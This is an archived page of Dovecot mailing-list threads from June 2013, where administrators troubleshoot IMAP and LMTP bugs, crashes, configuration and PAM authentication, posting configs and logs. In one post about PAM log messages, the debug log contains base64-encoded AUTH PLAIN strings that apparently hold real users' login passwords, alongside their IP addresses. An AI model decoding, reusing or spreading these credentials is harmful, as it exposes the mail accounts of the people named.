Hi Where can i find the list of prerequisites for compiling dovocot 2.2.2 form the sources, is there a dedicated link or what terms i should best use to search the archives of this mailing list, the documentation or the web? Where do I find information (links or search terms) whether plugins available for 1.x 2.1.x series, especially the metadata plugin, are still needed for 2.2.2 or may even be harmful for 2.2.2 as built in. Documentation on Dovecot webpage is rather sparse and not really conclusive concerning metadata plugin within 2.x series. On my Ubuntu 12.X systems i still find it for 2.1.x but I have difficulties to understand whether there exist a version for 2.2.X series, if this is equal to the one for 2.1.X or whether it is not needed any more for 2.2.X series. Further what libraries would be required. Greetings Christoph

2 1

[Dovecot] MULTIAPPEND + literal8 issue
by Michael M Slusarz 16 Jun '13

16 Jun '13

Background: importing a mbox file containing ~700 messages (20 MB). Our program splits MULTIAPPENDS into approx. 5MB chunks. We don't use literal+ in order to immediately catch errors. I can reproducibly produce the following error (2.2.2) when doing a MULTIAPPEND where every append is using literal8: [...340 messages appended in 7 previous APPEND commands...] C: 10 APPEND Test "16-Dec-2011 17:19:46 -0700" ~{3128} [...~30 APPENDed messages...] C: "18-Jan-2012 12:38:21 -0700" ~{2893} S: + OK [...2893 octets of data...] C: "18-Jan-2012 22:09:41 -0700" ~{6492} S: 10 BAD Error in IMAP command APPEND: Expected '{' S: 492} BAD Error in IMAP command : Unknown command. This error occurs about 340 messages in. If I switch to using regular literals, this error does not occur. I can verify that neither the 12:38:21 message nor the 22:09:41 message alone is broken (I can put just these two in a file and import and it is successful). I can provide the mbox file privately, if needed. michael

2 1

[Dovecot] LMTP crash with sdbox and SIS
by Bernhard Schmidt 16 Jun '13

16 Jun '13

Debian Wheezy amd64 plus Stefan's stable-auto/dovecot2.2 repository 2:2.2.2-0~auto+57 = 16495:d447dcc6b611 Crash goes away when I disable mail_attachment_dir, happens with a fresh home as well # 2.2.2 (d447dcc6b611): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 disable_plaintext_auth = no first_valid_uid = 100 mail_attachment_dir = /home/studext/attachment mail_gid = ext mail_location = sdbox:~/sdbox:INDEX=~/Index mail_plugins = quota mail_uid = studext managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = INBOX. separator = . } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { quota = dict:User quota::file:%h/Maildir/dovecot-quota quota_rule = INBOX.Trash:ignore quota_rule2 = ?:storage=512M sieve = ~/currently-active-script.sieve sieve_dir = ~/sieve } protocols = " imap lmtp sieve pop3" service lmtp { executable = lmtp -D inet_listener lmtp { port = 24 } } ssl_cert = </etc/dovecot/dovecot.pem ssl_key = </etc/dovecot/private/dovecot.pem userdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocol lmtp { mail_plugins = quota sieve } protocol imap { mail_plugins = quota imap_quota } (gdb) bt full #0 0x00007fc270f11475 in raise () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #1 0x00007fc270f146f0 in abort () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #2 0x00007fc2712cbdf8 in default_fatal_finish (type=<optimized out>, status=status@entry=0) at failures.c:191 backtrace = 0x97e900 "/usr/lib/dovecot/libdovecot.so.0(+0x62dea) [0x7fc2712cbdea] -> /usr/lib/dovecot/libdovecot.so.0(+0x62e2e) [0x7fc2712cbe2e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fc27128bda5] -> /usr/lib/d"... #3 0x00007fc2712cbe2e in i_internal_fatal_handler (ctx=0x7fff6b38a7c0, format=<optimized out>, args=<optimized out>) at failures.c:652 status = 0 #4 0x00007fc27128bda5 in i_panic (format=format@entry=0x7fc2712f18c8 "file %s: line %d (%s): assertion failed: (%s)") at failures.c:263 ctx = {type = LOG_TYPE_PANIC, exit_status = 0, timestamp = 0x0} args = {{gp_offset = 40, fp_offset = 48, overflow_arg_area = 0x7fff6b38a8b0, reg_save_area = 0x7fff6b38a7f0}} #5 0x00007fc2712d4734 in i_stream_read (stream=0x9c3740) at istream.c:163 _stream = 0x9c36e0 old_size = 0 ret = -1 __FUNCTION__ = "i_stream_read" #6 0x00007fc2715ca2c9 in index_attachment_save_continue (ctx=0x9b7ef0) at index-attachment.c:206 storage = 0x9ae590 attach = 0x9c3310 data = <optimized out> size = 1 ret = <optimized out> #7 0x00007fc2715a78a8 in mail_storage_try_copy (mail=0x9a3c60, _ctx=0x7fff6b38a928) at mail-copy.c:80 ctx = 0x9b7ef0 pmail = 0x9a3c60 input = 0x9b57c0 #8 mail_storage_copy (ctx=ctx@entry=0x9b7ef0, mail=mail@entry=0x9a3c60) at mail-copy.c:101 No locals. #9 0x00007fc271576810 in sdbox_copy (_ctx=<optimized out>, mail=<optimized out>) at sdbox-copy.c:172 ctx = <optimized out> _t = <optimized out> mbox = <optimized out> __FUNCTION__ = "sdbox_copy" #10 0x00007fc2706b1320 in quota_copy (ctx=0x9b7ef0, mail=0x9a3c60) at quota-storage.c:220 t = 0x9b4b70 qt = 0x9b7e80 qbox = 0x9b2450 #11 0x00007fc2715afadf in mailbox_copy (_ctx=_ctx@entry=0x7fff6b38aaa8, mail=0x9a3c60) at mail-storage.c:2116 ctx = 0x9b7ef0 t = 0x9b4b70 keywords = 0x0 pvt_flags = 0 ---Type <return> to continue, or q <return> to quit--- real_mail = <optimized out> ret = <optimized out> __FUNCTION__ = "mailbox_copy" #12 0x00007fc2715afb8c in mailbox_save_using_mail (ctx=ctx@entry=0x7fff6b38aaa8, mail=<optimized out>) at mail-storage.c:2147 No locals. #13 0x00007fc27184ddde in mail_deliver_save (ctx=ctx@entry=0x7fff6b38ac10, mailbox=<optimized out>, flags=flags@entry=0, keywords=keywords@entry=0x0, storage_r=storage_r@entry=0x7fff6b38abe8) at mail-deliver.c:311 open_ctx = {user = 0x9aa470, lda_mailbox_autocreate = false, lda_mailbox_autosubscribe = false} box = 0x9b1e80 trans_flags = <optimized out> t = 0x9b4b70 save_ctx = 0x0 headers_ctx = 0x0 kw = 0x0 error = MAIL_ERROR_NONE mailbox_name = 0x40892f "INBOX" errstr = <optimized out> guid = 0x7fc271847d98 "W\n" changes = {pool = 0x7fc271a52788, uid_validity = 1798876136, saved_uids = {arr = {buffer = 0x9992d0, element_size = 140473107114581}, v = 0x9992d0, v_modifiable = 0x9992d0}, ignored_modseq_changes = 10165232, changed = false, no_read_perm = false} default_save = <optimized out> ret = 0 __FUNCTION__ = "mail_deliver_save" #14 0x00007fc27184e203 in mail_deliver (ctx=ctx@entry=0x7fff6b38ac10, storage_r=storage_r@entry=0x7fff6b38abe8) at mail-deliver.c:413 ret = -1 #15 0x0000000000406282 in client_deliver (session=0x9a8480, src_mail=0x9a3c60, rcpt=0x98b770, client=0x98af00) at commands.c:689 lda_set = 0x999b00 ns = <optimized out> set_parser = <optimized out> line = <optimized out> storage = 0x9ae590 sets = <optimized out> mail_error = MAIL_ERROR_NONE ret = <optimized out> dctx = {pool = 0x9a8460, set = 0x999b00, session = 0x9a8480, dup_ctx = 0x0, session_id = 0x98b710 "zeL+MQ/QuFGZTgAAUJ203Q", src_mail = 0x9a3c60, src_envelope_sender = 0x98b728 "schmidt(a)xxx.de", dest_user = 0x9aa470, dest_addr = 0x98bd70 "ext44903(a)mstoretest.mail.xxx.de", final_dest_addr = 0x98bd70 "ext44903(a)mstoretest.mail.xxx.de", dest_mailbox_name = 0x40892f "INBOX", dest_mail = 0x9b8830, var_expand_table = 0x0, tempfail_error = 0x0, tried_default_save = true, saved_mail = false, save_dest_mail = false, mailbox_full = false, dsn = false} input = <optimized out> mail_set = 0x9992d0 error = <optimized out> username = <optimized out> #16 client_deliver_next (session=0x9a8480, src_mail=0x9a3c60, client=0x98af00) at commands.c:732 rcpts = 0x98b770 count = 1 #17 client_input_data_write_local (input=<optimized out>, client=0x98af00) at commands.c:827 src_mail = 0x9a3c60 first_uid = 4294967295 session = 0x9a8480 old_uid = 0 #18 client_input_data_write (client=0x98af00) at commands.c:938 input = 0x99b5b0 ret = true #19 client_input_data_handle (client=0x98af00) at commands.c:1032 data = <optimized out> size = 1794 ret = <optimized out> #20 0x00007fc2712db996 in io_loop_call_io (io=0x98a3b0) at ioloop.c:387 ioloop = 0x985700 t_id = 2 #21 0x00007fc2712dc807 in io_loop_handler_run (ioloop=ioloop@entry=0x985700) at ioloop-epoll.c:215 ctx = 0x988530 events = 0x0 event = 0x9885a0 list = 0x98a400 io = <optimized out> tv = {tv_sec = 299, tv_usec = 992938} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #22 0x00007fc2712db4d8 in io_loop_run (ioloop=0x985700) at ioloop.c:406 No locals. #23 0x00007fc271291013 in master_service_run (service=0x985590, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #24 0x0000000000404c24 in main (argc=2, argv=0x985390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 739 c = <optimized out>

2 4

[Dovecot] Connection closed by foreign host.
by Michael Cramer 16 Jun '13

16 Jun '13

i tried the latest dev version 2.2.2-0~auto54 for ubuntu and when i do some testing i got a connection closed. the commands are issued through telnet: root@i920:~# telnet localhost imap Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Dovecot ready. 1 LOGIN test(a)lokal.de 123456 1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE NOTIFY COMPRESS=DEFLATE QUOTA ACL RIGHTS=texk] Logged in 2 LIST () "" (virtual/*) * LIST () "/" virtual/All * LIST () "/" virtual/Flagged * LIST (\UnMarked) "/" virtual/Flagged * LIST (\Marked) "/" virtual/All 2 OK List completed. 3 LIST () "" (*) Connection closed by foreign host. the command with number 3 results everytime in a connection closed. i turned on debug_log but nothing is shown there.

2 7

[Dovecot] rawlog without setting home in userdb
by Claus 16 Jun '13

16 Jun '13

Hi all, in my settup i decided to set mail_home in 10-mail.conf, and let dovecot do the hashing to a 2-level directory structure. mail_location = mdbox:~/mdbox:ALT=/altstorage/%h/mdbox mail_home = /vmail/%1Mu/%2.1Mu/%u In my userdb ist homedirectory not set and everythink works as expected, except when i use rawlog i get only logs in ~/dovecot.rawlog if home is set in userdb. In wiki http://wiki2.dovecot.org/Debugging/Rawlog it reads: If you don't have the home directory and you can't or don't want to modify userdb configuration, you can add: mail_home = /home/%u # or temporarily even e.g. mail_home = /tmp/temp-home Can you tell me, if my problem is the hashing-configuration or anything else? Claus

3 4

[Dovecot] Still virtio problems
by Erich N. Pekarek 16 Jun '13

16 Jun '13

Hello! As posted on May 27th this year, dovecot 2.1.7 does not allow for the mailstore to be located in a virtio partition. I still receive fstat()-errors on the lock files in this combination: May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/.quotausage.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: file dict commit: file_dotlock_open(/var/vmail/mydomain/test/.quotausage) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory Config includes: mmap_disable=yes dotlock_use_excl=no Any ideas? Thanks Erich

2 1

[Dovecot] dovecot creating unknown users
by Yann Shukor 16 Jun '13

16 Jun '13

Hi We recently installed a dovecot postfix roundcube debian wheezy serverIt is now in production and we are feeling our way as we progressivelyadd new users to this local server. I noticed that dovecot is creating user directory structures for unknown users withinour domain in /var/vmail, even though we have setup a static users.conf db file. I tried omiting the "allow_all_users=yes" parameter but that doesn't seem to be linked to this issue Sorry if this has been asked a number of times already Is there an easy way to search the archives of this mailinglist ? Thanks yann # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-686-pae i686 Debian 7.0 ext4 auth_debug = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes disable_plaintext_auth = no first_valid_gid = 5000 first_valid_uid = 5000 hostname = holimail.holinice.com last_valid_gid = 5000 last_valid_uid = 5000 listen = * mail_debug = yes mail_gid = vmail mail_location = maildir:/var/vmail/%d/%n/Maildir mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = maildir:/var/vmail/%d/%n/Maildir mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = subscriptions = yes } passdb { args = scheme=CRAM-MD5 /etc/dovecot/users.conf driver = passwd-file } passdb { driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = azurtem(a)holinice.com protocols = " imap sieve pop3" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { group = dovecot inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { process_limit = 1024 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3 { process_limit = 1024 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } userdb { driver = passwd } protocol lda { mail_plugins = " sieve" }

1 0

[Dovecot] Testing SMTP AUTH
by Ajai Khattri 15 Jun '13

15 Jun '13

Ive configured Postfix to use Dovecot for SMTP AUTH. I tried to test it but when I send the AUTH LOGIN command I get a response saying that AUTH method is not supported/implemented. How to test then? -- A -- Aj.

4 8

[Dovecot] access shared mailbox results in error
by Michael Cramer 15 Jun '13

15 Jun '13

when i try to access a shared mailbox the logfile shows me this and access isn't possible Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Error: mdbox /srv/vmail/mail/bigmichi1.de/familie/mailboxes/INBOX/dbox-Mails: Invalid dbox header size: 0 Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Warning: fscking index file /srv/vmail/indexes/shared/bigmichi1.de/michael/shared/familie(a)bigmichi1.de/storage/dovecot.map.index Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Warning: mdbox /srv/vmail/mail/bigmichi1.de/familie/storage: rebuilding indexes doveconf -n # 2.2.2 (30f00db1a8b0): /etc/dovecot/dovecot.conf # OS: Linux 3.8.0-25-generic x86_64 Ubuntu 13.04 ext4 auth_mechanisms = plain login debug_log_path = /var/log/dovecot/debug.log dict { acl = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext expire = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext quota = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext } first_valid_gid = 8 first_valid_uid = 8 info_log_path = /var/log/dovecot/info.log last_valid_gid = 8 last_valid_uid = 8 log_path = /var/log/dovecot/error.log mail_debug = yes mail_gid = 8 mail_location = mdbox:/srv/vmail/mail/%d/%n:INDEXPVT=/srv/vmail/indexes/private/%d/%n:INDEX=/srv/vmail/indexes/shared/%d/%n mail_plugins = quota zlib acl expire virtual mail_uid = 8 mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variab les body enotify environment mailbox date ihave imapflags notify mdbox_preallocate_space = yes mdbox_rotate_size = 10 M namespace { list = children location = mdbox:/srv/vmail/mail/%%d/%%n:INDEXPVT=/srv/vmail/indexes/private/%d/%n/shared/%%u:INDEX=/srv/vmail/indexes/shared/%d/%n/shared/%%u prefix = Shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox Archive { auto = subscribe special_use = \Archive } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } mailbox virtual/All { auto = subscribe special_use = \All } mailbox virtual/Flagged { auto = subscribe special_use = \Flagged } prefix = separator = / type = private } namespace virtual { location = virtual:/srv/vmail/virtual:INDEXPVT=/srv/vmail/indexes/private/%d/%n/virtual:INDEX=/srv/vmail/indexes/shared/%d/%n/virtual prefix = virtual/ separator = / } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { acl = vfile:/srv/vmail/acl:cache_secs=300 acl_anyone = allow acl_shared_dict = proxy::acl expire = Trash 7 Trash/* 7 Spam 30 expire_dict = proxy::expire quota = dict:User quota::proxy::quota quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=80%% quota-warning 80 %u quota_warning3 = -storage=100%% quota-warning below %u sieve = /srv/vmail/sieve/%d/%n/.dovecot.sieve sieve_default = /srv/vmail/sieve/default.sieve sieve_dir = /srv/vmail/sieve/%d/%n/ sieve_extensions = +notify +imapflags sieve_global_dir = /srv/vmail/sieve/global } postmaster_address = postmaster(a)bigmichi1.de protocols = " imap sieve" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = mail mode = 0666 user = mail } } service dict { unix_listener dict { group = mail mode = 0660 user = mail } } service managesieve-login { inet_listener sieve { port = 4190 } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { user = mail } user = dovecot } ssl_cert = </srv/ssl/ssl-unified.crt ssl_key = </srv/ssl/ssl-decrypted.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lda { debug_log_path = /var/log/dovecot/deliver-debug.log info_log_path = /var/log/dovecot/deliver-info.log log_path = /var/log/dovecot/deliver-errors.log mail_plugins = quota zlib acl expire virtual sieve } protocol imap { mail_plugins = quota zlib acl expire virtual imap_quota imap_acl imap_zlib }

2 1

[Dovecot] Turn off IMAPS?
by Simon B 15 Jun '13

15 Jun '13

Hi I've upgraded to 2.1.7 and finally decided to turn off imaps and pop3s because these days everyone uses tls over 143 anyway. But it's on and I can't figure out why. I only have non-ssl versions specified: protocols = imap pop3 I've stopped and started and the ports are still open and netstat says dovecot is listening on them.. mail:~# netstat -tulnp | grep dove tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN 29340/dovecot tcp6 0 0 :::993 :::* LISTEN 29340/dovecot tcp6 0 0 :::995 :::* LISTEN 29340/dovecot tcp6 0 0 :::110 :::* LISTEN 29340/dovecot tcp6 0 0 :::143 :::* LISTEN 29340/dovecot Any ideas? Thanks. Simon Here's my doveconf - n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext3 auth_mechanisms = plain login auth_verbose = yes disable_plaintext_auth = no first_valid_uid = 109 last_valid_uid = 109 log_timestamp = "%Y-%m-%d %H:%M:%S " login_log_format_elements = user=<%u> method=%m rip=%r %c mail_location = maildir:/var/spool/mail/virtual/%d/%n mail_privileged_group = mailsystem maildir_very_dirty_syncs = yes passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { quota = maildir } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = mailsystem mode = 0660 user = postfix } unix_listener auth-master { group = mailsystem mode = 0660 user = mailsystem } user = mailsystem } ssl_ca = </etc/ssl/keys/ca.crt ssl_cert = </etc/ssl/keys/mail.net.crt ssl_key = </etc/ssl/private/mail.net.key userdb { driver = prefetch } userdb { args = uid=109 gid=113 home=/var/spool/mail/virtual/%d/%n allow_all_users=yes driver = static } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 20 mail_plugins = quota imap_quota } protocol pop3 { mail_plugins = quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_save_uidl = yes pop3_uidl_format = %v.%u } protocol lda { deliver_log_format = msgid=%m: %f: %$ info_log_path = log_path = mail_plugins = quota postmaster_address = postmaster(a)example.net }

4 4

[Dovecot] Auto-responder to handle unencrypted (and/or unsigned) email messages whose origin is not localhost
by Ben Johnson 15 Jun '13

15 Jun '13

Hi, everyone, I'm surprised how little exists on the Internet regarding this particular subject. Given the recent headlines, that is about to change, I'm sure. I have a need to send an automated response to all senders who attempt to send unencrypted and/or unsigned email to a specific mailbox on my system. (Messages originating from localhost should be exempt.) I would like for the auto-reply to include a customized message with the appropriate public PGP key contained therein. Has anyone accomplished this? If not, some basic theory as to how one might go about achieving this would be greatly appreciated. Perhaps this is a job for Dovecot's "sieve_before" directive. Would this simply be a matter of checking the message body for the expected patterns, e.g., starts with "----- BEGIN PGP MESSAGE -----", etc., etc. and sending an automated reply with the public key if the expected strings are not present? Any additional thoughts would be very helpful! Thank you in advance, -Ben

2 2

Re: [Dovecot] Safe/preferred way to import old email
by Reindl Harald 15 Jun '13

15 Jun '13

Am 14.06.2013 22:10, schrieb Ajai Khattri: > One small problem (I should have described better): the old server is not available but I've have the maildirs > rsynced to the new server. So I have the actual message files but I'm not sure if simply copying them into the new > maildirs is a good idea :-) > > On Friday, June 14, 2013, Reindl Harald wrote: > > Am 14.06.2013 21:59, schrieb Ajai Khattri: > > Ive migrated from a qmail+Courier-IMAP setup to a Postfix+Dovecot setup. > > I'm using maildirs in both places. > > > > Is there a safe/preferred way to bring my old messages over without them > > being marked as new in Dovecot? > > imapsync well, that must answer people which where in the situation of a not really prepared migration why you *should not* reply off-list!

2 1

[Dovecot] Safe/preferred way to import old email
by Ajai Khattri 14 Jun '13

14 Jun '13

Ive migrated from a qmail+Courier-IMAP setup to a Postfix+Dovecot setup. I'm using maildirs in both places. Is there a safe/preferred way to bring my old messages over without them being marked as new in Dovecot ? -- Aj.

2 1

[Dovecot] Pam authentication failure message but it works
by Wayne Andersen 14 Jun '13

14 Jun '13

I am running Centos 6.4 64bit. Dovecot 2.0.9 I am getting the following messages in /var/log/secure, which looks like the pam authentication is not working but the users are allowed to login and the system works great. I am wondering if pam is actually failing and yet the system is getting the login info from elsewhere, or is this just a nuisance message? /var/log/secure Jun 12 23:11:29 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=christineg rhost=65.13.54.123 user=christineg Jun 12 23:11:45 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=susieg rhost=70.208.29.109 user=susieg Jun 12 23:12:03 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=bobs rhost=70.59.189.210 user=bobs In the debug log file I see what looks like a successful connection, but don't know how to read the two pam lines. /var/log/dovecot.debug.log Jun 12 23:11:29 auth: Debug: auth client connected (pid=10098) Jun 12 23:11:29 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=65.13.54.123 lport=143 rport=54049 resp=AGNocmlzZwBjZzQ4MjU= Jun 12 23:11:29 auth: Debug: pam(christineg,65.13.54.123): lookup service=dovecot Jun 12 23:11:29 auth: Debug: pam(christineg,65.13.54.123): #1/1 style=1 msg=Password: Jun 12 23:11:29 auth: Debug: client out: OK 1 user=christineg Jun 12 23:11:29 auth: Debug: master in: REQUEST 4079353857 10098 1 0229474c9c1038e161328ecd28884af2 Jun 12 23:11:29 auth: Debug: passwd(christineg,65.13.54.123): lookup Jun 12 23:11:29 auth: Debug: master out: USER 4079353857 christineg system_groups_user=christineg uid=1116 gid=100 home=/home/christineg Jun 12 23:11:29 imap(christineg): Debug: Effective uid=1116, gid=100, home=/home/christineg Jun 12 23:11:29 imap(christineg): Debug: maildir++: root=/home/christineg/Maildir, index=, control=, inbox=/home/christineg/Maildir Jun 12 23:11:44 auth: Debug: auth client connected (pid=10100) Jun 12 23:11:45 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=70.208.29.109 lport=143 rport=14107 Jun 12 23:11:45 auth: Debug: client out: CONT 1 Jun 12 23:11:45 auth: Debug: client in: CONT 1 AHJpY2hhcmRnQGNsaW1hLXRlY2guY29tAHJnMzgyMg== Jun 12 23:11:45 auth: Debug: pam(susieg,70.208.29.109): lookup service=dovecot Jun 12 23:11:45 auth: Debug: pam(susieg,70.208.29.109): #1/1 style=1 msg=Password: Jun 12 23:11:45 auth: Debug: client out: OK 1 user=susieg Jun 12 23:11:45 auth: Debug: master in: REQUEST 3368157185 10100 1 5a8d4b15a417d0bc4d2f818c5a5710f0 Jun 12 23:11:45 auth: Debug: passwd(susieg,70.208.29.109): lookup Jun 12 23:11:45 auth: Debug: master out: USER 3368157185 susieg system_groups_user=susieg uid=1087 gid=100 home=/home/susieg Jun 12 23:11:45 imap(susieg): Debug: Effective uid=1087, gid=100, home=/home/susieg Jun 12 23:11:45 imap(susieg): Debug: maildir++: root=/home/susieg/Maildir, index=, control=, inbox=/home/susieg/Maildir Jun 12 23:12:03 auth: Debug: auth client connected (pid=10104) Jun 12 23:12:03 auth: Debug: auth client connected (pid=10105) Jun 12 23:12:03 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=70.59.189.210 lport=143 rport=38705 Jun 12 23:12:03 auth: Debug: client out: CONT 1 Jun 12 23:12:03 auth: Debug: client in: CONT 1 AGJyZW5kb25jQGNsaW1hLXRlY2guY29tAGJjMTU1NA== Jun 12 23:12:03 auth: Debug: pam(bobs,70.59.189.210): lookup service=dovecot Jun 12 23:12:03 auth: Debug: pam(bobs,70.59.189.210): #1/1 style=1 msg=Password: Jun 12 23:12:03 auth: Debug: client out: OK 1 user=bobs Jun 12 23:12:03 auth: Debug: master in: REQUEST 709623809 10104 1 0c261d849b956bf9cb5c0833b498bb97 Jun 12 23:12:03 auth: Debug: passwd(bobs,70.59.189.210): lookup Jun 12 23:12:03 auth: Debug: master out: USER 709623809 bobs system_groups_user=bobs uid=1188 gid=100 home=/home/bobs Jun 12 23:12:03 imap(bobs): Debug: Effective uid=1188, gid=100, home=/home/bobs Jun 12 23:12:03 imap(bobs): Debug: maildir++: root=/home/bobs/Maildir, index=, control=, inbox=/home/bobs/Maildir /etc/pam.d/dovecot #%PAM-1.0 auth required pam_nologin.so auth include password-auth account include password-auth session include password-auth # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-279.22.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain login auth_username_format = %n auth_verbose = yes debug_log_path = /var/log/dovecot.debug.log disable_plaintext_auth = no hostname = mail.mydomain.com lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes mail_debug = yes mail_location = maildir:~/Maildir managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date mbox_write_locks = fcntl passdb { args = failure_show_msg=yes driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_global_path = /var/lib/dovecot/sieve/default.sieve } postmaster_address = postmaster(a)mydomain.com protocols = imap pop3 lmtp sieve sendmail_path = /usr/sbin/sendmail.postfix service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } ssl_cert = </etc/postfix/mail.mydomain.crt ssl_key = </etc/postfix/mail.mydomain.key userdb { driver = passwd } protocol lmtp { mail_plugins = " sieve" } protocol lda { mail_plugins = " sieve" } protocol pop3 { pop3_save_uidl = no pop3_uidl_format = %08Xu%08Xv }

1 0

[Dovecot] Autocreation the home folder
by Joan 14 Jun '13

14 Jun '13

Sorry if this has been already asked, but I haven't been able to find a solution, I am trying to migrate a dovecot 1.2 config to 2.1, the 'dovecot -n > dovecot.conf' migrated all the setup without issues, and the mail is working as expected. The only issue I've had is with the change with the mail_location, mail_home, that in the 2.1 versions can't be on the same path. After reading in the wiki the various config options ( http://wiki2.dovecot.org/VirtualUsers/Home) I opted to use the 3rd: Home directory under mail, for example: Maildir: home=/var/vmail/domain/user/home/ mail=/var/vmail/domain/user/ mbox: There's really no good and safe way to do it. So I changed from: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n To: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n/home The problem is that those home directories are not created (the mailboxes already existed) automatically, and I am getting these errors: ========================================================== May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Home dir not found: /var/vmail/example.com/username/home May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* 